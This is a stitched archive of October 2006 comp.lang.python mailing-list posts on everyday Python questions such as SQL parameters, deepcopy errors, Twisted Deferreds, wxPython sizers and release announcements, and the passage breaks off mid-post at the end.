> Unfortunately, I can't drag items onto the Python script, because
> Windows doesn't recognise that the script is executable (unless I
> double-click it, upon which it runs as usual, without the command line
> parameter of course) and won't set it as a drop target. And it won't
> even appear in the Send To menu after the usual steps are taken to get
> it there.
>
> I then tried to wrap it in a batch file, but encounter a problem, where
> that batch file is able to execute the Python file if I double-click
> the batch file, but if I drag a file onto it it says it can no longer
> find the Python script.
>
> Are there any simple and workable solutions for this sort of thing?
>
> --
> Ben Sizer

I didn't even know you could do that at all, but my suggestiong would
be compile the python  script into an executable and try that.
If you get it working, update here as I am interested in your solution.



From frank at chagford.com  Sat Oct 28 06:15:38 2006
From: frank at chagford.com (Frank Millman)
Date: 28 Oct 2006 03:15:38 -0700
Subject: correct parameter usage for "select * where id in ..."
In-Reply-To: <1162026084.206897.216630@k70g2000cwa.googlegroups.com>
References: <1162026084.206897.216630@k70g2000cwa.googlegroups.com>
Message-ID: <1162030538.183789.249570@e3g2000cwe.googlegroups.com>


saniac wrote:
> I am working on a little project using pysqlite. It's going to be
> exposed on the web, so I want to make sure I quote all incoming data
> correctly. However, I've run into a brick wall trying to use parameters
> to populate a query of the form "select * where col1 in ( ? )"
>
> The naive approach doesn't work:
>
>   values=['foo', 'bar', 'baz']
>   sql = """select  * where value in (?)"""
>   cu = cx.cursor()
>   cu.execute(sql, (values))
>
> The code blows up because the cursor is expecting 1 arg and gets 3.

I assume you mean 'select * from table where...'

Try this -

    values=['foo', 'bar', 'baz']
    sql = """select  * from table where value in (?,?,?)"""
    cu = cx.cursor()
    cu.execute(sql, values)

It works with odbc from pywin32. I have not tried pysqlite.

If you want it to handle a variable number of values, you will have to
programmatically construct the sql statement with the appropriate
number of parameters.

HTH

Frank Millman



From sybrenUSE at YOURthirdtower.com.imagination  Tue Oct 10 04:51:47 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Tue, 10 Oct 2006 10:51:47 +0200
Subject: Converting MSWord Docs to PDF
References: <mailman.185.1160469513.11739.python-list@python.org>
Message-ID: <slrneimnp2.6ng.sybrenUSE@schuimige.stuvel.eu>

melv at awc.edu enlightened us with:
> is it possible to convert MSword docs into PDF format?

Yes, it is. check out http://www.stuvel.eu/ooo-python#header3. It's
about converting Excel to PDF, but it equally applies to MSWord.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From richardjones at optushome.com.au  Tue Oct  3 23:47:34 2006
From: richardjones at optushome.com.au (Richard Jones)
Date: Wed, 4 Oct 2006 13:47:34 +1000
Subject: Roundup Issue Tracker release 1.1.3
Message-ID: <200610041347.34453.richardjones@optushome.com.au>

I'm proud to release version 1.1.3 of Roundup.

Feature:
- supports Python 2.5, including the sqlite3 module
- full timezone support (sf patch 1465296)
- handle connection loss when responding to web requests
- match incoming mail In-Reply-To against existing messages when no issue
  id is specified in the Subject
- added StringHTMLProperty wrapped() method to wrap long lines in issue
  display
- include the popcal in Date field editing and search fields by default
- @required in forms may now specify properties of linked items (sf patch
  1507093)
- update for latest version of pysqlite (sf bug 1487098; patch 1534227)
- update for latest version of psycopg2 (sf patch 1429391)
- new "exporttables" command in roundup-admin (sf bug 1533791)
- roundup-admin "export" may specify classes to exclude (sf bug 1533791)
- sorting and grouping by multiple properties is now supported by the
  backends *and* the classic template.
- sorting, grouping, and searching by transitive properties (e.g.,
  messages.author.supervisor) is now supported in all backends
- added filter_sql to SQL backends which takes an arbitrary SQL statement
  and returns a list of item ids

There was also a lot of bugfixes - see the bundled CHANGES.txt file for the
list.

If you're upgrading from an older version of Roundup you *must* follow
the "Software Upgrade" guidelines given in the maintenance documentation.

Roundup requires python 2.3 or later for correct operation.

To give Roundup a try, just download (see below), unpack and run::

    roundup-demo

Release info and download page:
     http://cheeseshop.python.org/pypi/roundup
Source and documentation is available at the website:
     http://roundup.sourceforge.net/
Mailing lists - the place to ask questions:
     http://sourceforge.net/mail/?group_id=31577


About Roundup
=============

Roundup is a simple-to-use and -install issue-tracking system with
command-line, web and e-mail interfaces. It is based on the winning design
from Ka-Ping Yee in the Software Carpentry "Track" design competition.

Note: Ping is not responsible for this project. The contact for this
project is richard at users.sourceforge.net.

Roundup manages a number of issues (with flexible properties such as
"description", "priority", and so on) and provides the ability to:

(a) submit new issues,
(b) find and edit existing issues, and
(c) discuss issues with other participants.

The system will facilitate communication among the participants by managing
discussions and notifying interested parties when issues are edited. One of
the major design goals for Roundup that it be simple to get going. Roundup
is therefore usable "out of the box" with any python 2.3+ installation. It
doesn't even need to be "installed" to be operational, though a
disutils-based install script is provided.

It comes with two issue tracker templates (a classic bug/feature tracker and
a minimal skeleton) and five database back-ends (anydbm, sqlite, metakit,
mysql and postgresql).



From pandyacus.xspam at xspam.sbcglobal.net  Mon Oct 23 20:11:35 2006
From: pandyacus.xspam at xspam.sbcglobal.net (Chetan)
Date: Tue, 24 Oct 2006 00:11:35 GMT
Subject: Python thread stack size
Message-ID: <u8xj6bmix.fsf@NANDI.i-did-not-set--mail-host-address--so-tickle-me>

The default thread allocated in for pthread is 32K if the system default is
lower (it is 16K on my system). If the system default is higher, it is used.

-Chetan


From quentel.pierre at wanadoo.fr  Thu Oct 12 15:32:01 2006
From: quentel.pierre at wanadoo.fr (Pierre Quentel)
Date: 12 Oct 2006 12:32:01 -0700
Subject: paseline(my favorite simple script): does something similar exist?
References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com>
	<1160681166.890803.169610@c28g2000cwb.googlegroups.com>
Message-ID: <1160681521.103052.49980@i42g2000cwa.googlegroups.com>

> >>> parseline( 'A 1 22 3 6', 'sdxf')
> ['A', 1, None, 3.0]

Yes, but in this case the OP expects to get ['A',1,3.0]

A shorter version :

def parseline(line,format):
    xlat = {'x':None,'s':str,'f':float,'d':int,'i':int}
    result = [ xlat[f](w) for f,w in zip(format,line.split())
        if xlat.get(f,None) ]
    if len(result) == 0: return None
    if len(result) == 1: return result[0]
    return result

Pierre



From larry.bates at websafe.com  Tue Oct 17 12:44:24 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Tue, 17 Oct 2006 11:44:24 -0500
Subject: A question about list
In-Reply-To: <1161102973.920895.141500@i42g2000cwa.googlegroups.com>
References: <1161102973.920895.141500@i42g2000cwa.googlegroups.com>
Message-ID: <45350868.6020806@websafe.com>

pretoriano_2001 at hotmail.com wrote:
> Hello:
> Variable 'a' has the next values:
> [[1,1],[2,2]]
> and I want to take a to b as:
> [[1,1,'='],[2,2,'=']]
> How can I do this with only one line of instruction?
> Thanks!!
> 
To copy a list use:

b=a[:]

-Larry


From johann at rocholl.net  Fri Oct 27 10:37:14 2006
From: johann at rocholl.net (Johann C. Rocholl)
Date: Fri, 27 Oct 2006 16:37:14 +0200
Subject: ANN: wxPython 2.7.1.3
In-Reply-To: <45410281.4020302@alldunn.com>
References: <45410281.4020302@alldunn.com>
Message-ID: <8233478f0610270737tda65dabj5dffba46a12e0fea@mail.gmail.com>

Hi Robin,

You may want to use a spell checker for announcements and for the
wxpython.org website. For example, the first paragraph of your
announcement contains the words "plust" and "pacakges", and the word
"pacakge" can also be found on the following pages:

www.wxpython.org/download.php
www.wxpython.org/wxPython.spec
www.wxpython.org/CHANGES.html

Oh, it's fun to be a speling fanatic! :-)

Cheers,
Johann


From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Sat Oct 14 07:24:26 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Sat, 14 Oct 2006 13:24:26 +0200
Subject: Twisted Deferreds (was: Re: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python)
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<7xhcy72xm1.fsf@ruckus.brouhaha.com>
Message-ID: <4pbvnaFi422kU1@individual.net>

Paul Rubin wrote:

> But that's just ugly.  The fetchPage function should take the
> callback as an argument.  In an asynchronous system it would even
> be buggy. 

It won't, in my understanding/experience, since the local context
must first terminate before the reactor takes control again and
handles other events. Twisted isn't concurrent like using threads
here, and adding callbacks immediately after getting a Deferred
instance returned is common practice.

> What happens if the page fetch completes before you add the 
> callback?

If the Deferred is fired, all already added {call,err}backs will be
executed. If you add new ones at this point, they'll be executed
immediately. IIRC.

http://twistedmatrix.com/projects/core/documentation/howto/async.html
http://twistedmatrix.com/projects/core/documentation/howto/defer.html

Regards,


Bj?rn

-- 
BOFH excuse #12:

dry joints on cable plug



From DustanGroups at gmail.com  Sun Oct 15 09:17:43 2006
From: DustanGroups at gmail.com (Dustan)
Date: 15 Oct 2006 06:17:43 -0700
Subject: Reverse string-formatting (maybe?)
In-Reply-To: <1160918100.141668.128850@h48g2000cwc.googlegroups.com>
References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com>
	<egqoee$i81$03$1@news.t-online.com>
	<1160916174.892851.39730@e3g2000cwe.googlegroups.com>
	<mailman.539.1160917513.11739.python-list@python.org>
	<1160918100.141668.128850@h48g2000cwc.googlegroups.com>
Message-ID: <1160918263.478229.137760@h48g2000cwc.googlegroups.com>


Dustan wrote:
> Tim Chase wrote:
> > > My template outside of the '%s' characters contains only commas and
> > > spaces, and within, neither commas nor spaces. Given that information,
> > > is there any reason it might not work properly?
> >
> > Given this new (key) information along with the assumption that
> > you're doing straight string replacement (not dictionary
> > replacement of the form "%(key)s" or other non-string types such
> > as "%05.2f"), then yes, a reversal is possible.  To make it more
> > explicit, one would do something like
> >
> >  >>> template = '%s, %s, %s'
> >  >>> values = ('Tom', 'Dick', 'Harry')
> >  >>> formatted = template % values
> >  >>> import re
> >  >>> unformat_string = template.replace('%s', '([^, ]+)')
> >  >>> unformatter = re.compile(unformat_string)
> >  >>> extracted_values = unformatter.search(formatted).groups()
> >
> > using '[^, ]+' to mean "one or more characters that aren't a
> > comma or a space".
> >
> > -tkc
>
> Thanks.
>
> One more thing (I forgot to mention this other situation earlier)
> The %s characters are ints, and outside can be anything except int
> characters. I do have one situation of '%s%s%s', but I can change it to
> '%s', and change the output into the needed output, so that's not
> important. Think something along the lines of "abckdaldj iweo%s
> qwierxcnv !%sjd".

That was written in haste. All the information is true. The question:
I've already created a function to do this, using your original
deformat function. Is there any way in which it might go wrong?



From paul at boddie.org.uk  Mon Oct 23 14:42:09 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 23 Oct 2006 11:42:09 -0700
Subject: Python 2.5 ; Effbot console ; thank ; pb release.
References: <453ce1a9$0$25910$ba4acef3@news.orange.fr>
	<ehioo2$fef$1@sea.gmane.org>
	<mailman.987.1161619843.11739.python-list@python.org>
Message-ID: <1161628929.144303.173130@f16g2000cwb.googlegroups.com>

Steve Holden wrote:
> Fredrik Lundh wrote:
> > M?ta-MCI wrote:
> >
> >>For the professional developments, it is a major risk.

I'll cut in here and mention that it's a risk that can be managed
through various well understood methods of deployment. For me, Python
2.4 is going to be good enough until (and even beyond) the time I can
be bothered to either upgrade my distribution's packages or to upgrade
my distribution and get the packages for Python 2.5. At which point,
I'll just need to select the pinnacles of my package tower; then I can
hopefully just press the button and have everything working on Python
2.5.

Generally, package developers shouldn't be "aggressively" using the
absolute latest and greatest version's features, and if you're pursuing
"professional developments" you might want to keep using the mature
releases of Python whilst letting other developers know that adoption
of their stuff will be limited if they make it part of a rapidly moving
target. Sure, I can imagine that people are desperate to use the "with"
statement all over the place, but maintainers of widely used (or
"professional") stuff have to exercise some conservatism - otherwise
someone has to start forking and backporting their changes.

> > some days, I ask myself why I shouldn't just use GPL for everything I
> > do, and ship it as source code only.
> >
> To which I presume the answer is that you are considerate of Windows
> users who'd rather not compile their own Windows applications due to the
> cost of using the commercial compilers and the complexity of using the
> open source ones.

Well, there's a commercial service you could offer, Steve. ;-)

> Whatever the reasons, a vote of thanks to all extension authors who *do*
> bother to compile for Windows (despite complaints from others who don't
> feel this happens quickly enough).

This happens every time a new release of Python comes out: people want
to play with the new features, but they experience a period of
frustration because their favourite packages aren't available. I'd
advise people to download the installer, get their fill of the new
features for a few minutes, then schedule another look in a few weeks.
Or they can start paying people to make it all happen "yesterday", of
course.

Paul



From mitko at qlogic.com  Fri Oct 13 19:11:31 2006
From: mitko at qlogic.com (Mitko Haralanov)
Date: Fri, 13 Oct 2006 16:11:31 -0700
Subject: Signals and threads again
In-Reply-To: <20061013113746.269e3d8c@opal.pathscale.com>
References: <20061013113746.269e3d8c@opal.pathscale.com>
Message-ID: <20061013161131.108cce68@opal.pathscale.com>

On Fri, 13 Oct 2006 11:37:46 -0700
Mitko Haralanov <mitko at qlogic.com> wrote:

> The problem that I am experiencing is that when SIGINT is sent to the
> program, it gets delivered to the child processes (the fork'ed ones)
> but the main thread's signal handler is never invoked.
> 
> I know that Python masks signals in threads but they should be fine in
> the main thread and that is where they should get delivered.

OK. I did an experiment where instead of creating a spinning thread, I
just call that function. Now, the signal gets delivered to the main
program thread but it sill get delivered to the child processes, as
well.

Why are those signals going there?? It's driving me crazy!

-- 
Mitko Haralanov					 mitko at qlogic.com
Senior Software Engineer			     650.934.8064
System Interconnect Group		    http://www.qlogic.com



From Eric_Dexter at msn.com  Sun Oct  8 19:19:46 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 8 Oct 2006 16:19:46 -0700
Subject: recommendations for personal journaling application
In-Reply-To: <1160330083.041100.127480@e3g2000cwe.googlegroups.com>
References: <1160330083.041100.127480@e3g2000cwe.googlegroups.com>
Message-ID: <1160349586.258904.179690@k70g2000cwa.googlegroups.com>

before you use re there is a quote I have seen on different boards to
remember.  So you have a problem and you want to use re now you have
two problems.!!!!  It was someone from thescripts.com that helped me
realise how to fix my program without re.  (sorry if I have thier
website name somewhat wrong.


https://sourceforge.net/project/showfiles.php?group_id=156455&package_id=202823


Donnie Rhodes wrote:
> Hi. I've been sort of standing back on the sidelines reading this list
> for awhile, and this is my first posting. So a little about myself and
> my skill level. My name is Bryan. I'm new to Python and have very
> little experience. I've gone through a few of the tutorials. I
> understand the different data-types, basic syntax, functions and
> function definition, basic iteration, and calling from modules.
>
> I might be getting ahead of myself, but I think the best way for me to
> learn things is by having a goal and working towards it. My goal is to
> create a personal command line journaling application. I would like to
> store all the entries in one file, have them searchable by keywords,
> date, topic, etc... I think I would like to use "/*" type commands. For
> instance, you call the application from a terminal window and start
> with a generic prompt. You would type '/ne /t "topic"' to begin a new
> entry and assign the topic; '/d' to set a date. You should be able to
> use the slash commands while editing as well. For instance while
> writing in an entry you could isolate a phrase or word with /k "phrase
> to be marked as searchable keyword" / to mark the enclosed text as a
> searchable keyword/keyphrase.
>
> So what I'm interested in is how this would work. Is this 'event
> driven' in nature? Would I define the bulk of these slash commands in a
> function and then call it at the end of the script? What would be a
> good module to look at for the text processing and searching aspects?
> Anyways, I'm not sure how you would create a program that would
> "listen" for commands and then parse them accordingly. I think for
> starters I will sketch out on paper the slash commands I need, and try
> to break apart the general operations into pseudo code. How would you
> all approach this?
> 
> Thank you all and I hope I'm not biting off too much at once...



From grante at visi.com  Sun Oct 15 11:13:20 2006
From: grante at visi.com (Grant Edwards)
Date: Sun, 15 Oct 2006 15:13:20 -0000
Subject: Where I can find
References: <1160919699.354038.213920@k70g2000cwa.googlegroups.com>
	<1hn9dpq.77vjtv17nxbnxN%rhymes@myself.com>
Message-ID: <12j4k0g279tlud6@corp.supernews.com>

On 2006-10-15, Lawrence Oluyede <rhymes at myself.com> wrote:
><vedran_dekovic at yahoo.com> wrote:

>> Where I can find this files(modules):
>> 
>> fcntl,FCNTL,tty,termios, TERMIOS
>
> import fcntl
> import tty
> import termios
>
> for start :-)

But you just might want to take a look at pyserial instead...

-- 
Grant Edwards                   grante             Yow!  Is this my STOP??
                                  at               
                               visi.com            


From hanumizzle at gmail.com  Fri Oct 13 14:50:33 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Fri, 13 Oct 2006 14:50:33 -0400
Subject: Best IDE?
In-Reply-To: <12ivbb480ht02db@corp.supernews.com>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
	<12ivbb480ht02db@corp.supernews.com>
Message-ID: <463ff4860610131150r11a31837x9f2babeecf1bd680@mail.gmail.com>

On 10/13/06, Grant Edwards <grante at visi.com> wrote:
> On 2006-10-13, Ahmer <ahmerhussain at gmail.com> wrote:
>
> > What do you guys use?
>
> jed along with bash et. al.

Jed I must admit is nice. Especially since they added UTF-8 support.

> > etc.
>
> 42

LOL

-- Theerasak


From chrisBrat at gmail.com  Mon Oct 30 03:27:32 2006
From: chrisBrat at gmail.com (Chris Brat)
Date: 30 Oct 2006 00:27:32 -0800
Subject: wxPython - which is the better sizer to use with notebook
Message-ID: <1162196851.786053.162930@k70g2000cwa.googlegroups.com>

Hi,

What sizers do people use to
- contain the notebook control in a Frame and,
- contain the contents of a single page of the notebook.

At the moment Im using a GridBagSizer for both but this seems to be
overkill.
Is a BoxSizer a better option?

Thanks
Chris



From peter.maas at somewhere.com  Sat Oct  7 15:52:42 2006
From: peter.maas at somewhere.com (Peter Maas)
Date: Sat, 07 Oct 2006 21:52:42 +0200
Subject: n-body problem at shootout.alioth.debian.org
In-Reply-To: <61JVg.138429$_J1.903927@twister2.libero.it>
References: <eg6bku$59b$1@online.de>
	<61JVg.138429$_J1.903927@twister2.libero.it>
Message-ID: <eg90ip$uds$1@online.de>

Giovanni Bajo wrote:
> Did you try using an old-style class instead of a new-style class?

The original program has an old style class, changing it to a new
style class increases run time by 25% (version is 2.4.3 btw).

-- 
Regards/Gruesse,

Peter Maas, Aachen
E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64')


From ilias at lazaridis.com  Thu Oct 12 00:46:42 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 11 Oct 2006 21:46:42 -0700
Subject: Python component model
In-Reply-To: <mailman.350.1160625768.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<mailman.343.1160617110.11739.python-list@python.org>
	<1160618190.314729.236250@c28g2000cwb.googlegroups.com>
	<mailman.344.1160618838.11739.python-list@python.org>
	<1160622492.360486.207270@m73g2000cwd.googlegroups.com>
	<mailman.350.1160625768.11739.python-list@python.org>
Message-ID: <1160628402.244331.197840@b28g2000cwb.googlegroups.com>


Peter Decker wrote:
> On 11 Oct 2006 20:08:12 -0700, Ilias Lazaridis <ilias at lazaridis.com> wrote:
>
> > > Well, then, why not contribute? Or are you waiting for everyone else
> > > to do it for you?
> >
> > I've contributed already (my contructive criticism).
> >
> > It's up to the team to react.
>
> Wow! What a contribution! Amazing that Dabo hasn't taken over the
> world with that sort of help pouring in!
>
> Anybody can criticize. It's easy to find fault; it's much harder to
> create something valuable.

[REQUOTE]
I share the infrastructure which I use:

http://dev.lazaridis.com/base
[/REQUOTE]

> I saw the references to your being a troll, and thought I'd give you
> the benefit of the doubt. Guess I'm still too optimistic.

No.

You're just ignoring given facts in a controlled manner.

Like many other people of this community.

And that's the main reason why python does not move forward in the
speed it could.

.



From exarkun at divmod.com  Thu Oct 26 22:33:53 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Thu, 26 Oct 2006 22:33:53 -0400
Subject: Tracing the execution of scripts?
In-Reply-To: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com>
Message-ID: <20061027023353.20948.138215951.divmod.quotient.1674@ohm>

On Thu, 26 Oct 2006 21:52:42 -0400, "Michael B. Trausch" <mike$#at^&nospam!%trauschus at bag.python.org> wrote:
>Alright, I seem to be at a loss for what I am looking for, and I am not
>even really all that sure if it is possible or not.  I found the 'pdb'
>debugger, but I was wondering if there was something that would trace or
>log the order of line execution for a multi-module Python program.  I am
>having a little bit of a problem tracking down a problem that I
>mentioned earlier
>(http://groups.google.com/group/comp.lang.python/msg/9c759fc888b365be),
>and I am hoping that maybe seeing how the statements are executed will
>shed some light on the entire thing for me.
>
>The debugger isn't working, though, because I have a timer set up to
>fire off every 20ms to check for incoming network traffic from the
>server, and that timer firing off makes stepping through with the
>debugger seemingly impossible to get any useful data.
>
>Basically, is there something that will log every line of Python code
>executed, in its order of execution, to a text file so that I can see
>what is (or isn't) happening that I am expecting?  I know that the
>server is sending and receiving properly, because I can connect to it
>with a regular telnet client and it works -- but at the same time,
>everything I can think of to check my program's functionality checks out
>just fine (e.g., it reports that it is successfully sending what I am
>typing to the server, and it says that the server is not sending
>anything back to be read from the socket).
>
>If it makes any difference, I am using wxWidgets' Python bindings for
>the UI code (and the timer), and using Python's socket library for the
>network stuff.

In order of importance:

1) Write unit tests for your code.  Keep writing unit tests until you have
some that _don't pass_.  Then fix your code so that they do.  When you do
further development, write the tests first, then implement the code that
makes them pass.

2) Don't use threads.  At least have a way to not use threads while you're
debugging.  Debugging with threads is very difficult. (Actually I'm not sure
if you're using threads.  If you're not, feel free to ignore this point.)

3) Don't poll for network events every 20ms.  If you have a sensible event
loop you'll find debugging and testing much easier.

4) Use an existing library instead of developing a new one.

5) (Only included so I don't look like a _complete_ jerk.  If you get this
far and you haven't fixed the problem yet, consider this a booby prize.)
http://divmod.org/trac/browser/trunk/Epsilon/epsilon/spewer.py

Jean-Paul


From Leo.Kislov at gmail.com  Wed Oct 18 18:59:05 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 18 Oct 2006 15:59:05 -0700
Subject: characters in python
References: <eh5t1s$bq2$3@ss408.t-com.hr><eh5p68$qcl$1@ss408.t-com.hr>
	<1161211582.976493.88330@i3g2000cwc.googlegroups.com>
Message-ID: <1161212345.445863.132350@m7g2000cwm.googlegroups.com>


Leo Kislov wrote using google groups beta:
> On Oct 18, 11:50 am, Stens <sgi... at email.t-com.hr> wrote:
> > Stens wrote:
> > > Can python handle this characters: c,c,?,d,??

[snip]

>     outfile.write(line.replace(u'd',u'd'))

I hope you'll do better than google engeers who mess up croatian
characters in new google groups. Of course the last 'd' should be latin
d with stroke. I really typed it but google swallowed the stroke.



From scott.daniels at acm.org  Fri Oct  6 14:37:02 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Fri, 06 Oct 2006 11:37:02 -0700
Subject: switching to numpy and failing, a user story
In-Reply-To: <1160151980.338496.225670@m7g2000cwm.googlegroups.com>
References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>
	<mailman.1238.1159947549.10491.python-list@python.org>
	<1159984398.088012.209640@k70g2000cwa.googlegroups.com>
	<1160142732.752533.266840@m7g2000cwm.googlegroups.com>
	<1160151980.338496.225670@m7g2000cwm.googlegroups.com>
Message-ID: <45269a4f$1@nntp0.pdx.net>

Istvan Albert wrote:
> sturlamolden wrote:
> 
>> Those involved in the development of NumPy must receive some
>> compensation. Financial support to NumPy also ensure that the
>> developmentcan continue. I for one does not want to see NumPy as
> 
> Then charge for NumPy ... or write a book *besides* .... 
> Charging for docs is just shooting yourself in the foot.

You overlook the fact that this pricing model means that a developer
can produce some software, and freely deliver that software (with all
needed libraries) to a customer at a price that needn't be so high as
to make each of the programmer's customers pay as if they are using
the full library.

--Scott David Daniels
scott.daniels at acm.org


From steve at holdenweb.com  Wed Oct 11 03:30:08 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 11 Oct 2006 08:30:08 +0100
Subject: OT: Sarcasm and irony
In-Reply-To: <1160544879.915425.250200@m7g2000cwm.googlegroups.com>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>	<4out4fFgdgouU1@individual.net>
	<4ov1acFgfmpmU1@uni-berlin.de>	<4ov2eeFgh8t6U1@individual.net>
	<87y7rp9iyi.fsf_-_@benfinney.id.au>	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>	<egfkeh$a45$1@sea.gmane.org>	<3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>	<mailman.193.1160473683.11739.python-list@python.org>	<12iosfh75stcf0e@corp.supernews.com>
	<1160544879.915425.250200@m7g2000cwm.googlegroups.com>
Message-ID: <egi6g7$smn$1@sea.gmane.org>

mensanator at aol.com wrote:
[...]
> Any? Don't people plan June weddings thinking the weather
> will be nice? And isn't one of the defintions of irony when
> things turn out the opposite of what you expect?
> 
But rain at a June wedding isn't truly ironic since it isn't the result 
of the planners' actions.

It would be ironic if I chose to get married in June and then all the 
people I invited instead chose to attend a conference because I wasn't 
going to be there.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From anthra.norell at vtxmail.ch  Tue Oct  3 09:18:33 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Tue, 03 Oct 2006 15:18:33 +0200
Subject: Operator += works once, fails if called again
In-Reply-To: <1159826142.367463.76030@h48g2000cwc.googlegroups.com>
References: <mailman.1122.1159819984.10491.python-list@python.org>
	<1159826142.367463.76030@h48g2000cwc.googlegroups.com>
Message-ID: <45226329.6070602@vtxmail.ch>

John Machin wrote:
> Frederic Rentsch wrote:
>   
>> Hi all,
>>
>>    I have a class Time_Series derived from list. It lists days and
>> contains a dictionary of various Lists also derived from list which
>> contain values related to said days. (e.g. Stock quotes, volumes traded,
>> etc.)
>>    I defined an operator += which works just fine, but only once. If I
>> repeat the operation, it fails and leaves me utterly mystified and crushed.
>>
>> Craving to be uncrushed by a superior intelligence.
>>
>> Frederic
>>
>>
>> ---------------------------------------------------------------
>>
>> A test:
>>
>>     
> [perfection snipped]
>
>   
>> Perfect!
>>
>>  >>> TS1 += TS2    # Second call
>>
>> Traceback (most recent call last):
>>   File "<pyshell#311>", line 1, in -toplevel-
>>     TS += TS2
>>   File "c:\i\sony\fre\src\python\TIME_SERIES_7.py", line 1314, in __iadd__
>>     return self.__add__ (other)
>>   File "c:\i\sony\fre\src\python\TIME_SERIES_7.py", line 1273, in __add__
>>     Sum = copy.deepcopy (self)
>>   File "C:\PYTHON24\lib\copy.py", line 188, in deepcopy
>>     y = _reconstruct(x, rv, 1, memo)
>>   File "C:\PYTHON24\lib\copy.py", line 335, in _reconstruct
>>     state = deepcopy(state, memo)
>>   File "C:\PYTHON24\lib\copy.py", line 161, in deepcopy
>>     y = copier(x, memo)
>>   File "C:\PYTHON24\lib\copy.py", line 252, in _deepcopy_dict
>>     y[deepcopy(key, memo)] = deepcopy(value, memo)
>>   File "C:\PYTHON24\lib\copy.py", line 161, in deepcopy
>>     y = copier(x, memo)
>>   File "C:\PYTHON24\lib\copy.py", line 252, in _deepcopy_dict
>>     y[deepcopy(key, memo)] = deepcopy(value, memo)
>>   File "C:\PYTHON24\lib\copy.py", line 188, in deepcopy
>>     y = _reconstruct(x, rv, 1, memo)
>>   File "C:\PYTHON24\lib\copy.py", line 335, in _reconstruct
>>     state = deepcopy(state, memo)
>>   File "C:\PYTHON24\lib\copy.py", line 161, in deepcopy
>>     y = copier(x, memo)
>>   File "C:\PYTHON24\lib\copy.py", line 252, in _deepcopy_dict
>>     y[deepcopy(key, memo)] = deepcopy(value, memo)
>>   File "C:\PYTHON24\lib\copy.py", line 188, in deepcopy
>>     y = _reconstruct(x, rv, 1, memo)
>>   File "C:\PYTHON24\lib\copy.py", line 320, in _reconstruct
>>     y = callable(*args)
>>   File "C:\PYTHON24\lib\copy_reg.py", line 92, in __newobj__
>>     
>
> Oho! What's it doing there, in copy_reg.py?  Something has stashed away
> a reference to copy_reg.__newobj__, and the stasher is *not* the copy
> module ....
>
>   
>>     return cls.__new__(cls, *args)
>> TypeError: instancemethod expected at least 2 arguments, got 0
>>     
>
> >From a quick browse through the code for copy.py and copy_reg.py [Isn't
> open source a wonderful thing?], I'm guessing:
> (1) The "cls"  is *your* class. You can confirm that with a debugger
> (or by hacking in a print statement!).
> (2) You may need to read this in the copy docs:
> """
> Classes can use the same interfaces to control copying that they use to
> control pickling. See the description of module pickle for information
> on these methods. The copy module does not use the copy_reg
> registration module.
> """
> (3) You may need to read this in the pickle docs:
> """
> New-style types can provide a __getnewargs__() method that is used for
> protocol 2. Implementing this method is needed if the type establishes
> some internal invariants when the instance is created, or if the memory
> allocation is affected by the values passed to the __new__() method for
> the type (as it is for tuples and strings). Instances of a new-style
> type C are created using
>      obj = C.__new__(C, *args)
>  where args is the result of calling __getnewargs__() on the original
> object; if there is no __getnewargs__(), an empty tuple is assumed.
> """
> (4) You may need to debug your pickling/unpickling before you debug
> your deepcopying.
> (5) Look at function _copy_inst at line 134 in copy.py -- work out what
> it will do with your class instance, depending on what __magic__
> method(s) you have implemented.
>
> Hope some of this helps,
> John
>
>   

John,

Thank you very much for your suggestions. I followed them one by one and 
in the end found the cause of the problem to be a circular reference. 
Some species of contained Lists need a reference to the containing 
Time_Series and that circular reference trips up deepcopy.  Supposedly I 
can define my own __deepcopy__, but didn't understand whose method it is 
supposed to be. Time_Series.__deepcopy__  () doesn't make sens, nor does 
it work. Time_Series should be the argument of the method not the owner. 
Anyway, I managed without deepcopy making a new instance and loading it 
as I would, if it were the first one.

Thanks again

Frederic



From mensanator at aol.com  Fri Oct 13 02:32:43 2006
From: mensanator at aol.com (mensanator at aol.com)
Date: 12 Oct 2006 23:32:43 -0700
Subject: Starting out.
In-Reply-To: <452f06a8$0$5108$afc38c87@news.optusnet.com.au>
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
	<1160696990.5969.4.camel@dsktp>
	<mailman.411.1160706099.11739.python-list@python.org>
	<452f06a8$0$5108$afc38c87@news.optusnet.com.au>
Message-ID: <1160721163.418861.269450@f16g2000cwb.googlegroups.com>


Richard Jones wrote:
> Tim Chase wrote:
